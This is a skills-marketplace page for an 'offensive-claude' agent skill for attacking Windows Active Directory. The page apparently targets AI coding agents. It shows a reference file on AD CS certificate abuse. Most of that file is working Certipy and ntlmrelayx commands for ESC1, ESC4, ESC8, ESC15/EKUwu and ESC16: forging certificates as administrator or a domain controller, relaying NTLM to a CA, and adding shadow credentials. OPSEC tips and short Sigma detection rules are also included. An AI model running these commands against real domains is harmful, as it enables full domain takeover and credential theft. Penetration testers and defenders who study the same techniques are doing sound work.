hypnguyen1209/offensive-claude / skills/active-directory-attack
active-directory-attack
VerifiedUse when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu), ticket forgery & DCSync, dMSA BadSuccessor (CVE-2025-53779), BloodHound attack-path enumeration, domain dominance
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 8.9 KB |
| references/adcs-abuse.md | markdown | 7.0 KB |
| references/bloodhound-enum-lateral.md | markdown | 7.7 KB |
| references/coercion-relay.md | markdown | 7.2 KB |
| references/dmsa-badsuccessor.md | markdown | 6.5 KB |
| references/kerberos-roasting-delegation.md | markdown | 6.6 KB |
| references/ticket-forgery-dcsync.md | markdown | 6.5 KB |
| scripts/Get-BadSuccessorOUPermissions.ps1 | script | 5.3 KB |
| scripts/ad_recon.py | script | 7.3 KB |
| scripts/adcs_esc_finder.py | script | 7.0 KB |
| scripts/coerce_relay_chain.sh | script | 3.2 KB |
| scripts/kerberoast_audit.py | script | 4.7 KB |
| scripts/rbcd_takeover.py | script | 4.4 KB |
references/adcs-abuse.md
View on GitHub# AD CS Abuse — ESC1 through ESC16
ATT&CK: T1649 (Steal or Forge Authentication Certificates), T1557.001 (relay to ADCS),
T1556 (Modify Authentication Process). CWE-295 (Improper Certificate Validation),
CWE-269 (Improper Privilege Management), CWE-732 (Incorrect Permission Assignment on templates).
## Theory / Mechanism
AD CS issues X.509 certificates usable for PKINIT Kerberos auth. Misconfigured templates / CA
settings let an unprivileged enrollee obtain a certificate that authenticates as a high-value
principal (arbitrary SAN/UPN, or injected client-auth EKU). The ESC catalog (SpecterOps "Certified
Pre-Owned" + later research) now spans **ESC1-ESC16**, fully tooled in **Certipy v5**.
## ESC catalog (current)
| ESC | Condition | Primitive |
|-----|-----------|-----------|
| ESC1 | Template: enrollee supplies subject (SAN) + client-auth EKU | Request cert as any UPN |
| ESC2 | Any-Purpose / no EKU | Cert usable for any purpose |
| ESC3 | Enrollment Agent EKU | Request on behalf of others |
| ESC4 | Write/GenericAll over a template | Reconfigure → ESC1, then restore |
| ESC6 | `EDITF_ATTRIBUTESUBJECTALTNAME2` on CA | SAN injection regardless of template |
| ESC7 | ManageCA / ManageCertificates rights | Enable templates, approve, ESC6-style |
| ESC8 | HTTP/RPC enrollment + no EPA | **NTLM relay** to CA → cert as relayed machine |
| ESC9 | Template `CT_FLAG_NO_SECURITY_EXTENSION` | No SID security ext → mapping bypass |
| ESC10 | Weak cert mapping (`StrongCertificateBindingEnforcement`/`UseSubjectAltName`) | Bypass with attacker cert |
| ESC11 | IF_ENFORCEENCRYPTICERTREQUEST off (RPC enrollment) | Relay over RPC (ICPR) |
| ESC13 | Issuance policy OID linked to a privileged group | Enroll → auto group membership |
| ESC15 | **EKUwu / CVE-2024-49019** — Schema v1 template, EKU not sanitized | Inject client-auth EKU + SAN |
| ESC16 | **CA-wide** disable of SID security extension (like ESC9 globally) | Domain-wide mapping bypass |
## Modern 2024-2026 variants (verified)
- **ESC15 / EKUwu — CVE-2024-49019 (patched Nov 2024)**: V1 schema templates (e.g. WebServer)
fail to sanitize the requested **Application Policies / EKU**, so an attacker injects the
*Client Authentication* (1.3.6.1.5.5.7.3.2) or *Certificate Request Agent* EKU plus a custom SAN —
yielding a Kerberos-auth cert as Administrator from a template never meant for client auth.
- **ESC16**: same missing-SID-security-extension flaw as ESC9 but set **globally on the CA**
(`szOID_NTDS_CA_SECURITY_EXT` / OID 1.3.6.1.4.1.311.25.2 disabled CA-wide) → all issued certs lack
the SID binding, enabling mapping bypass against any account.
- **Feb 2025 Full Enforcement**: DCs moved to `StrongCertificateBindingEnforcement` Full Enforcement —
pure Certifried (CVE-2022-26923) SAN spoofing no longer authenticates alone; chain via ESC9/ESC16.
- **Server 2025 Web Enrollment** ships **EPA enabled by default** → breaks classic ESC8 on new installs.
- **Certipy v5 (2025)** added ESC9-ESC16 support in `find`/`req`.
## Complete working commands
### Find vulnerable templates / CA
```bash
certipy find -u user@corp.local -p 'Pass' -dc-ip <DC_IP> -vulnerable -stdout
certipy find -u user@corp.local -p 'Pass' -dc-ip <DC_IP> -enabled -json -output adcs # full inventory
```
> `scripts/adcs_esc_finder.py` parses Certipy JSON and classifies ESC1/2/3/4/6/9/15/16 with the exact
> follow-on command for each finding.
### ESC1 — enrollee-supplied SAN
```bash
certipy req -u user@corp.local -p 'Pass' -dc-ip <DC_IP> -ca CORP-CA -template VulnTemplate \
-upn administrator@corp.local -sid <ADMIN_SID>
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # -> NT hash + TGT
```
### ESC15 / EKUwu (CVE-2024-49019) — inject EKU on a V1 template
```bash
# Inject Client Authentication EKU + SAN on a Schema-v1 template (e.g. WebServer)
certipy req -u user@corp.local -p 'Pass' -dc-ip <DC_IP> -ca CORP-CA -template WebServer \
-upn administrator@corp.local -application-policies 'Client Authentication'
# If full enforcement blocks UPN, use the schannel/LDAP path:
certipy req -u user@corp.local -p 'Pass' -ca CORP-CA -template WebServer \
-application-policies 'Certificate Request Agent'
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -ldap-shell
```
### ESC16 — CA-wide SID-extension override
```bash
# Verify CA is missing the security extension globally (certipy find shows "ESC16")
# Then request as a victim and authenticate; mapping bypass applies domain-wide
certipy req -u user@corp.local -p 'Pass' -ca CORP-CA -template User -upn dc01\$@corp.local
certipy auth -pfx 'dc01.pfx' -dc-ip <DC_IP>
```
### ESC4 — template ACL abuse (reconfigure → ESC1 → restore)
```bash
certipy template -u user@corp.local -p 'Pass' -template VulnTemplate -save-old -dc-ip <DC_IP> # make ESC1
# ... perform ESC1 request as above ...
certipy template -u user@corp.local -p 'Pass' -template VulnTemplate -configuration VulnTemplate.json # restore
```
### ESC8 — relay to CA HTTP (no EPA)
```bash
impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# coerce DC (see coercion-relay.md), then:
certipy auth -pfx dc01.pfx -dc-ip <DC_IP>
```
### Shadow credentials (Key Trust) — GenericWrite over target
```bash
certipy shadow auto -u attacker@corp.local -p 'Pass' -account 'TARGET$' -dc-ip <DC_IP>
# (adds msDS-KeyCredentialLink, gets TGT via PKINIT, UnPAC-the-hash for NT hash, removes link)
```
## Detection
```yaml
title: ADCS Anomalous Certificate Issuance (arbitrary SAN / EKU injection)
logsource: { product: windows, service: security }
detection:
issue: { EventID: 4887 } # certificate issued/approved
reqsan: { Attributes|contains: ['SAN:upn','san:upn','1.3.6.1.5.5.7.3.2'] }
condition: issue and reqsan
level: high
---
title: Certificate Authentication for High-Value Principal
logsource: { product: windows, service: security }
detection:
sel: { EventID: 4768, CertIssuerName|exists: true, TargetUserName|contains: ['admin','krbtgt','$'] }
condition: sel
level: high
```
IOCs: 4886/4887 issuance for templates that rarely issue; certs with mismatched
subject vs requester; client-auth EKU on a WebServer (V1) template (ESC15); PKINIT (4768 with
`Certificate Information`) for Administrator/DC$; CA event 4899/4900 (template/CA setting changed).
## OPSEC
- Restore any template you modify (ESC4) — keep the `-save-old` JSON.
- Issued certs persist in the CA database (revocable by defenders); note serial for the report.
- ESC8 relay creates issuance events on the CA tied to the relayed machine — expect EDR/SIEM hits.
- After Feb 2025 Full Enforcement, prefer ESC9/ESC15/ESC16 chains over bare SAN spoofing.
- Clean shadow-credential KeyCredentialLink after UnPAC-the-hash.
## References
- SpecterOps — "Certified Pre-Owned" (Schroeder & Christensen) + ly4k/Certipy wiki "06 - Privilege Escalation"
- TrustedSec / Justin Bollinger — ESC15 EKUwu (CVE-2024-49019)
- HackingArticles — "ADCS ESC15 — Exploiting Template Schema v1"; xbz0n.sh — "ESC1 to ESC16"
- Microsoft KB5014754 (Certifried CVE-2022-26923, certificate mapping enforcement timeline)
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| planning-and-task-breakdownaddyosmani/agent-skillsBreaks work into ordered tasks. Use when you have a spec or clear requirements and need to break work into implementable tasks. Use when a task feels too large to start, when you need to estimate scope, or when parallel work is possible. | Stars: 119k | Updated | Claude CodeCodex | Verified | Install |
| screenpipethedotmack/claude-memSearch screen and audio history recorded by Screenpipe and optionally save selected context into claude-mem. Use when the user asks to recall desktop activity, a meeting, or something seen in another app through Screenpipe. | Stars: 118k | Updated | Claude CodeCodex | Verified | Install |
| contact-widgetnexu-io/open-designSelf-contained floating chat widget with welcome screen, social links, meeting button, and message input. Single HTML file, zero dependencies. | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |
| meeting-notesnexu-io/open-designMeeting notes page — title bar with attendees, agenda checklist, decisions block, action items table with owners + dates, and a "next meeting" footer. Use when the brief mentions "meeting notes", "minutes", "1:1 notes", "all-hands recap", or "会议纪要". | Stars: 108k | Updated | Claude CodeCodex | Verified | Install |